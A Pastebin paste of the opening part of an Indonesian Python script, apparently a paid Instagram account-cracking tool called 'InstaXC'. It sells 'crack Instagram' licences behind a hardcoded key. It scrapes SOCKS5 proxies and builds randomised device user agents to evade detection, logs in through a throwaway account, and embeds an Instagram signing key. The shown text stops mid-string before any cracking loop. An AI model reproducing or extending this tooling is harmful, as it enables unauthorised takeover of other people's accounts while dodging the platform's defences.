OBF-XIn

140.213.142.126-prem-ig.py.py

Mar 7th, 2023
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 61.82 KB | None | 0 0
  1. # coding:utf-8
  2. #/usr/bin/python
  3. try:
  4.     import json
  5.     import uuid
  6.     import hmac
  7.     import random
  8.     import hashlib
  9.     import urllib
  10.     import urllib.request
  11.     import calendar
  12. except ImportError as e:
  13.     exit(f'\n [\033[1;35m>\033[0m] module {e} belum terinstall')
  14. import requests,bs4,json,os,sys,random,datetime,time,re
  15. try:
  16.     import rich
  17. except ImportError:
  18.     os.system('pip install rich')
  19.     time.sleep(1)
  20.     try:
  21.         import rich
  22.     except ImportError:
  23.         print(' tidak dapat menginstall module rich, coba install manual (pip install rich)')
  24. from rich.console import Console as sol
  25. from rich.panel import Panel as nel
  26. from rich import print as cetak
  27. from time import sleep
  28. from concurrent.futures import ThreadPoolExecutor
  29. from datetime import datetime
  30. import time
  31. from rich.progress import track
  32. from rich.tree import Tree
  33. from rich import print as prints
  34. from rich import print as rprint
  35. from rich.table import Table as me
  36.  
  37. ###----------[ IMPORT RICH AND INGREDIENT ]---------- ###
  38. from rich.panel import Panel
  39. from rich.tree import Tree
  40. from rich import print as prints
  41. from rich.console import Console
  42. from rich.table import Table
  43. from rich.columns import Columns
  44. console = Console()
  45. from concurrent.futures import ThreadPoolExecutor as Modol
  46. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  47.  
  48.  
  49. time.sleep(0.1)
  50. os.system("clear")
  51. print("\x1b[1;97m┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  52. print("\x1b[1;97m┃╔═❲  Only Admin Chekout Api Key 081210213378 ❳═>")
  53. print("\x1b[1;97m┃╚═════════════════════════════════")
  54. print("\x1b[1;97m┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  55. print("\x1b[1;97m┃╔═❲ List Harga Api Key Tools️ ❳═>")
  56. print("\x1b[1;97m️┃║• Api Key MINGGUAN : 70")
  57. print("\x1b[1;97m️┃║• Api Key 1 Bulan : 120")
  58. print("\x1b[1;97m┃║• Api Key Permanen : 200K")
  59. #print("\x1b[1;97m┃║• Upgrade Ke Pro : 200K")️
  60. print("\x1b[1;97m┃╚═════════════════════════════════")
  61. print("\x1b[1;97m┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  62. print("\x1b[1;97m┃╔═❲ Litst Harga Sorce Code️ ❳═>")
  63. print("\x1b[1;97m┃║• Harga File Open code : 300K️")
  64. print("\x1b[1;97m┃NOTE : TIDAK ADA TRIAL")
  65. print("\x1b[1;97m┃╚═════════════════════════════════")
  66. print("\x1b[1;97m┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  67.  
  68. input("\n\x1b[1;97m--> Masukan Api Key Anda Yang Sudah Terdaftar --> Enter")
  69. Password = "MHKUYFFHKKKJTTFFHBFD-HGFDDNKKNCFFJM" # --> Data Req Api key --> open_kt(life)("MSRXXIYNNHLLLEE")
  70.  
  71. loop = 'true'
  72. while (loop == 'true'):
  73.     passcode = input("\x1b[1;97m--> Validasi Api Key ? : ")
  74.     if (passcode == Password):
  75.             loop = 'false'
  76.             time.sleep(5.0)
  77.             print("\n \x1b[1;97m--> Mengecek Api key... ")
  78.             time.sleep(6.0)
  79.             print("\n \x1b[1;92m--> Api Key Anda Valid ")          
  80.     else:
  81.             exit("\033[93m--> Api Key Anda Expire")
  82.             os.system("xdg-open https://wa.me/+6281210213378?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2)
  83.  
  84.  
  85.  
  86. day=datetime.now().strftime("%d-%b-%Y")
  87. nyMnD = 5
  88. nyMxD = 10
  89. current_GMT = time.gmtime(time.time())
  90. insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
  91. url='https://z-p42.www.instagram.com/'
  92. menudump=[]
  93. prox_xyaa=[]
  94.  
  95. CY='\033[96;1m'
  96. H='\x1b[1;97m' #HIJAU
  97. M='\x1b[1;92m' #MERAH
  98. K='\033[1;33m' #KUNING
  99. U='\033[1;35m' #UNGU
  100. O='\033[38;2;255;127;0;1m' #ORANGE
  101. C='\033[0m' #CLEAR
  102. N = '\x1b[0m' # WARNA MATI
  103. Z2 = "[#000000]" # HITAM
  104. M2 = "[#FF0000]" # MERAH
  105. H2 = "[#00FF00]" # HIJAU
  106. K2 = "[#FFFF00]" # KUNING
  107. B2 = "[#00C8FF]" # BIRU
  108. U2 = "[#AF00FF]" # UNGU
  109. N2 = "[#FF00FF]" # PINK
  110. O2 = "[#00FFFF]" # BIRU MUDA
  111. P2 = "[#FFFFFF]" # PUTIH
  112. J2 = "[#FF8F00]" # JINGGA
  113. A2 = "[#AAAAAA]" # ABU-ABU
  114. #WARNA rick(kotak)
  115. HH = "[#000000]" # Hitam
  116. MM = "[#FF0000]" # Merah
  117. II = "[#00FF00]" # Hijau
  118. KK = "[#FFFF00]" # Kuning
  119. BB = "[#00C8FF]" # Biru
  120. UU = "[#AF00FF]" # Ungu
  121. PP = "[#FF00FF]" # Pink
  122. CC = "[#00FFFF]" # Biru Muda
  123. QQ = "[#FFFFFF]" # Putih
  124. JJ = "[#FF8F00]" # Jingga
  125. AA = "[#AAAAAA]" # Abu-Abu
  126. OO = "[#FFA500]" # OREN
  127. bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  128.  
  129. try:
  130.     color_rich = open("data/color_rich.txt","r").read()
  131. except FileNotFoundError:
  132.     color_rich = "[#afafff]"
  133. try:
  134.     color_table = open("data/color_table.txt","r").read()
  135. except FileNotFoundError:
  136.     color_table = "#afafff"
  137.  
  138. def change_theme():
  139.     prints(Panel(f"""{P2}[{color_rich}01{P2}]. change theme color red    [{color_rich}06{P2}]. change theme color pink
  140. [{color_rich}02{P2}]. change theme color green  [{color_rich}07{P2}]. change theme color L blue
  141. [{color_rich}03{P2}]. change theme color yellow [{color_rich}08{P2}]. change theme color white
  142. [{color_rich}04{P2}]. change theme color blue   [{color_rich}09{P2}]. change theme color orange
  143. [{color_rich}05{P2}]. change theme color violet [{color_rich}10{P2}]. change theme color gray""",width=80,padding=(0,4),style=f"{color_table}"))
  144.     them = input(f" {N}choose theme : ")
  145.     if them in["1","01"]:
  146.         open("data/color_rich.txt","w").write("[#FF0000]")
  147.         open("data/color_table.txt","w").write("#FF0000")
  148.     elif them in["2","02"]:
  149.         open("data/color_rich.txt","w").write("[#00FF00]")
  150.         open("data/color_table.txt","w").write("#00FF00")
  151.     elif them in["3","03"]:
  152.         open("data/color_rich.txt","w").write("[#FFFF00]")
  153.         open("data/color_table.txt","w").write("#FFFF00")
  154.     elif them in["4","04"]:
  155.         open("data/color_rich.txt","w").write("[#00C8FF]")
  156.         open("data/color_table.txt","w").write("#00C8FF")
  157.     elif them in["5","05"]:
  158.         open("data/color_rich.txt","w").write("[#AF00FF]")
  159.         open("data/color_table.txt","w").write("#AF00FF")
  160.     elif them in["6","06"]:
  161.         open("data/color_rich.txt","w").write("[#FF00FF]")
  162.         open("data/color_table.txt","w").write("#FF00FF")
  163.     elif them in["7","07"]:
  164.         open("data/color_rich.txt","w").write("[#00FFFF]")
  165.         open("data/color_table.txt","w").write("#00FFFF")
  166.     elif them in["8","08"]:
  167.         open("data/color_rich.txt","w").write("[#FFFFFF]")
  168.         open("data/color_table.txt","w").write("#FFFFFF")
  169.     elif them in["9","09"]:
  170.         open("data/color_rich.txt","w").write("[#FF8F00]")
  171.         open("data/color_table.txt","w").write("#FF8F00")
  172.     elif them in["10"]:
  173.         open("data/color_rich.txt","w").write("[#AAAAAA]")
  174.         open("data/color_table.txt","w").write("#AAAAAA")
  175.     time.sleep(2)
  176.     prints(Panel("[white]berhasil mengganti tema, silahkan jalankan ulang scriptnya python run.py",style=f"{color_table}"));time.sleep(2);exit()
  177.  
  178. USN="Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 Instagram 37.0.0.9.96 (iPhone9,4; iOS 10_3_3; ru_RU; ru-RU; scale=2.61; gamut=wide; 1080x1920)"
  179.  
  180. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
  181. method=[]
  182. s=requests.Session()
  183. uaxz=[]
  184. xxkontol=[]
  185. axz=[]
  186. oppo=[]
  187. for tu in range(1000):
  188.             a = random.choice([
  189.             'CPH1853',
  190.             'CPH1803',
  191.             'CPH1893',
  192.             'CPH2071',
  193.             'CPH1717',
  194.             'CPH1937',
  195.             'CPH1923',
  196.             'CPH1725',
  197.             'CPH1909',
  198.             'CPH1613',
  199.             'CPH1989',
  200.             'CPH1907',
  201.             'CPH2015',
  202.             'CPH2083'])
  203.             b = random.randrange(73, 99)
  204.             c = random.randrange(4200, 4900)
  205.             d = random.randrange(40, 150)
  206.             e = random.choice([
  207.             'my-zg',
  208.             'en-us',
  209.             'en-gb',
  210.             'en-au',
  211.             'th-th',
  212.             'hi-in',
  213.             'zh-tw',
  214.             'in-id',
  215.             'ru-ru',
  216.             'vi-vn',
  217.             'zh-cn'])
  218.             f = random.choice([
  219.             '9',
  220.             '10',
  221.             '11',
  222.             '12',
  223.             '5.1',
  224.             '4.4.4',
  225.             '8.1.0',
  226.             '7.1.1',
  227.             '6.0.1',
  228.             '5.1.1'])
  229.             g = random.randrange(4,99)
  230.             h = random.randrange(3,10)
  231.             i = random.randrange(111111,199999)
  232.             j = random.randrange(1,9)
  233.             ugens_xyaa = f'Mozilla/5.0 (Linux; U; Android {f}; {e}; {a} Build/PPR1.{i}.0{j}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{b}.0.{c}.{d} Mobile Safari/537.36 OppoBrowser/{g}.{h}.1.{h}'
  234.             oppo.append(ugens_xyaa)
  235. try:
  236.     proxs_xyaa = requests.get("https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all").text
  237.     for xc_team in proxs_xyaa.splitlines():prox_xyaa.append(xc_team)
  238. except:prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=80,style=f"{color_table}"));exit()
  239.  
  240. def waktu():
  241.     now = datetime.now()
  242.     hours = now.hour
  243.     if 4 <= hours < 12:timenow = "selamat pagi"
  244.     elif 12 <= hours < 15:timenow = "selamat siang"
  245.     elif 15 <= hours < 18:timenow = "selamat petang"
  246.     else:timenow = "selamat malam"
  247.     return timenow
  248.  
  249. def jalan(keliling):
  250.     for mau in keliling + '\n':
  251.         sys.stdout.write(mau)
  252.         sys.stdout.flush();sleep(0.03)
  253.        
  254. warnaa = random.choice([M,H,K,U,O])
  255. kontolwarna = random.choice([M,H,K,U,O])
  256. wr = random.choice([M,K,H,U,O])
  257. kontol_rich = random.choice([K2,M2,H2,U2,B2,O2,J2])
  258.  
  259. # BANNER
  260. def banner():
  261.     os.system("clear")
  262.     prints(Panel(f"""▪   ▐ ▄ .▄▄ · ▄▄▄▄▄ ▄▄▄·     ▐▄• ▄  ▄▄·  ©
  263. ██ •█▌▐█▐█ ▀. •██  ▐█ ▀█      █▌█▌▪▐█ ▌▪     {M2}██████████{color_rich}
  264. ▐█·▐█▐▐▌▄▀▀▀█▄ ▐█.▪▄█▀▀█      ·██· ██ ▄▄     {P2}██████████{color_rich}
  265. ▐█▌██▐█▌▐█▄▪▐█ ▐█▌·▐█ ▪▐▌    ▪▐█·█▌▐███▌
  266. ▀▀▀▀▀ █▪ ▀▀▀▀  ▀▀▀  ▀  ▀     •▀▀ ▀▀·▀▀▀  {P2}just {P2}updated {P2}version {kontol_rich}7.0""",width=80,padding=(0,5),style=f"{color_table}"))
  267.  
  268. def process_data():
  269.     sleep(0.08)
  270.        
  271. try:
  272.     # python 2
  273.     urllib_quote_plus = urllib.quote
  274. except:
  275.     # python 3
  276.     urllib_quote_plus = urllib.parse.quote_plus
  277.  
  278.  
  279. def cekAPI(cookie):
  280.     user=open('data/.username','r').read()
  281.     try:
  282.         c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':cookie},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  283.         i=c.json()["data"]["user"]
  284.         nama=i["full_name"]
  285.         followers=i["edge_followed_by"]["count"]
  286.         following=i["edge_follow"]["count"]
  287.         external.append(f'{nama}|{followers}|{following}')
  288.     except  (ValueError,KeyError):
  289.         prints(Panel(f"{P2}opshh akun tumbal mu terkena checkpoint, silahkan login dengan akun lain.",width=80,style=f"{color_table}"));os.system('rm -rf data/.kukis.log rm -rf data/.username');exit()
  290.  
  291.     return external,user
  292.  
  293. def login_kamu():
  294.     if "sukses" in lisensiku:
  295.         try:
  296.             kuki=open('data/.kukis.log','r').read()
  297.         except FileNotFoundError:
  298.             banner()
  299.             prints(Panel(f"{P2}disarankan login menggunakan cookie agar terhindar dari checkpoint akun",width=80,padding=(0,2),style=f"{color_table}"))
  300.             prints(Panel(f"{P2}[{color_rich}1{P2}]. login menggunakan cookie ( {H2}disarankan{P2} )\n{P2}[{color_rich}2{P2}]. login menggunakan username & password\n{P2}[{color_rich}3{P2}]. keluar ( {M2}tools {P2})",width=80,padding=(0,16),style=f"{color_table}"))
  301.             loginpil=input(f" input 1 sampai 3 : ")
  302.             if loginpil=='':prints(Panel(f"{P2}jangan kosong broo!!! pilih salah satu yang di atas",width=80,padding=(0,9),style=f"{color_table}"));exit()
  303.             if loginpil=='1':
  304.                 prints(Panel(f"{P2}sebelum login pastikan akun tumbal bersifat publik dan bukan private",width=80,padding=(0,4),style=f"{color_table}"))
  305.                 us=input(f' masukan username : ')
  306.                 cok=input(f' masukan cookie   : ')
  307.                 for _ in track(range(100), description=f' {P2}wait login...'):process_data()
  308.                 kuki=open('data/.kukis.log','w').write(cok)
  309.                 user=open('data/.username','w').write(us)
  310.                 prints(Panel(f"{P2}login akun tumbal berhasil, silahkan jalankan ulang scriptnya",width=80,padding=(0,7),style=f"{color_table}"));exit()
  311.             elif loginpil == '2':
  312.                 login()
  313.             elif loginpil == '3':
  314.                 prints(Panel(f"{P2}terima kasih telah menggunakan script {color_rich}'InstaXC'{P2} semoga hari² kamu menyenangkan",width=80,padding=(0,3),style=f"{color_table}"));time.sleep(2);exit()
  315.         ex,user=cekAPI(kuki)
  316.         cookie={'cookie':kuki}
  317.         instagram(ex,user,cookie).menu()
  318.     else:
  319.         lisensi()
  320. def login():
  321.     global external
  322.     try:
  323.         prints(Panel(f"{P2}sebelum login pastikan akun tumbal bersifat publik dan bukan private",width=80,padding=(0,4),style=f"{color_table}"))
  324.         us=input(f' masukan username : ')
  325.         pw=input(f' masukan password : ')
  326.     except KeyboardInterrupt:
  327.         print(f' keyboardinterrupt terdeteksi... keluar !')
  328.         exit()
  329.     x=instagramAPI(us,pw).loginAPI()
  330.     if x.get('status')=='success':
  331.         open('data/.username','a').write(us)
  332.         open('data/.kukis.log','a').write(x.get('cookie'))
  333.         cookie={'cookie':x.get('cookie')}
  334.         prints(Panel(f"{P2}login akun tumbal berhasil, silahkan jalankan ulang scriptnya",width=80,padding=(0,7),style=f"{color_table}"));exit()
  335.     elif x.get('status')=='checkpoint':
  336.         prints(Panel(f"{P2}opshh akun tumbal mu terkena checkpoint, silahkan login dengan akun lain.",width=80,style=f"{color_table}"));os.system("rm -rf data/.kukis.log rm -rf data/.username");exit()
  337.     else:
  338.         prints(Panel(f"{P2}username atau password yang anda masukan salah silahkan cek dan coba lagi",width=80,padding=(0,1),style=f"{color_table}"))
  339.         time.sleep(2);exit()
  340.  
  341. def User_Agent():
  342.     dpi_phone = [
  343.         '133','320','515','160','640','240','120'
  344.         '800','480','225','768','216','1024']
  345.     model_phone = [
  346.         'Nokia 2.4','HUAWEI','Galaxy',
  347.         'Unlocked Smartphones','Nexus 6P',
  348.         'Mobile Phones','Xiaomi',
  349.         'samsung','OnePlus']
  350.     pxl_phone = [
  351.         '623x1280','700x1245','800x1280',
  352.         '1080x2340','1320x2400','1242x2688']
  353.     i_version = [
  354.         '114.0.0.20.2','114.0.0.38.120',
  355.         '114.0.0.20.70','114.0.0.28.120',
  356.         '114.0.0.0.24','114.0.0.0.41']
  357.     User_Agent = f'Instagram '+random.choice(i_version)+' Android (30/3.0; '+random.choice(dpi_phone)+'dpi; '+random.choice(pxl_phone)+'; huawei/google; '+random.choice(model_phone)+'; angler; angler; en_US)'
  358.     return User_Agent
  359.  
  360. def user_agent():
  361.     resolutions = ['720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320']
  362.     versions = ['GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100']
  363.     dpis = ['120', '160', '320', '240']
  364.     ver = random.choice(versions)
  365.     dpi = random.choice(dpis)
  366.     res = random.choice(resolutions)
  367.     return (
  368.         'Instagram 4.{}.{} '
  369.         'Android ({}/{}.{}.{}; {}; {}; samsung; {}; {}; smdkc210; en_US)'
  370.     ).format(
  371.         random.randint(1, 2),
  372.         random.randint(0, 2),
  373.         random.randint(10, 11),
  374.         random.randint(1, 3),
  375.         random.randint(3, 5),
  376.         random.randint(0, 5),
  377.         dpi,
  378.         res,
  379.         ver,
  380.         ver,
  381.     )
  382.  
  383. def user_agentAPI():
  384.     APP_VERSION = "136.0.0.34.124"
  385.     VERSION_CODE = "208061712"
  386.     DEVICES = {
  387.         "one_plus_7": {"app_version": APP_VERSION,"android_version": "29","android_release": "10.0","dpi": "420dpi","resolution": "1080x2340","manufacturer": "OnePlus","device": "GM1903","model": "OnePlus7","cpu": "qcom","version_code": VERSION_CODE},
  388.         "one_plus_3": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "420dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3003","model": "OnePlus3","cpu": "qcom","version_code": VERSION_CODE},
  389.         "samsung_galaxy_s7": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G930F","model": "herolte","cpu": "samsungexynos8890","version_code": VERSION_CODE},
  390.         "huawei_mate_9_pro": {"app_version": APP_VERSION,"android_version": "24","android_release": "7.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "HUAWEI","device": "LON-L29","model": "HWLON","cpu": "hi3660","version_code": VERSION_CODE},
  391.         "samsung_galaxy_s9_plus": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G965F","model": "star2qltecs","cpu": "samsungexynos9810","version_code": VERSION_CODE},
  392.         "one_plus_3t": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "380dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3010","model": "OnePlus3T","cpu": "qcom","version_code": VERSION_CODE},
  393.         "lg_g5": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2392","manufacturer": "LGE/lge","device": "RS988","model": "h1","cpu": "h1","version_code": VERSION_CODE},
  394.         "zte_axon_7": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "ZTE","device": "ZTE A2017U","model": "ailsa_ii","cpu": "qcom","version_code": VERSION_CODE},
  395.         "samsung_galaxy_s7_edge": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G935","model": "hero2lte","cpu": "samsungexynos8890","version_code": VERSION_CODE},}
  396.     DEFAULT_DEVICE = random.choice(list(DEVICES.keys()))
  397.     app_version = DEVICES[DEFAULT_DEVICE]['app_version']
  398.     android_version = DEVICES[DEFAULT_DEVICE]['android_version']
  399.     android_release = DEVICES[DEFAULT_DEVICE]['android_release']
  400.     dpi = DEVICES[DEFAULT_DEVICE]['dpi']
  401.     resolution = DEVICES[DEFAULT_DEVICE]['resolution']
  402.     manufacturer = DEVICES[DEFAULT_DEVICE]['manufacturer']
  403.     device = DEVICES[DEFAULT_DEVICE]['device']
  404.     model = DEVICES[DEFAULT_DEVICE]['model']
  405.     cpu = DEVICES[DEFAULT_DEVICE]['cpu']
  406.     version_code = DEVICES[DEFAULT_DEVICE]['version_code']
  407.     USER_AGENT_BASE = f"Instagram {app_version} "+f"Android ({android_version}/{android_release}; "+f"{dpi}; {resolution}; {manufacturer}; "+f"{device}; {model}; {cpu}; en_US; {version_code})"
  408.     return USER_AGENT_BASE
  409.  
  410. class instagramAPI:
  411.     API_URL = 'https://z-p42.www.instagram.com/api/v1/'
  412.     DEVICE_SETTINTS = {'manufacturer': 'Xiaomi',
  413.         'model': 'HM 1SW',
  414.         'android_version': 18,
  415.         'android_release': '4.3'}
  416.     USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
  417.     IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
  418.     EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_an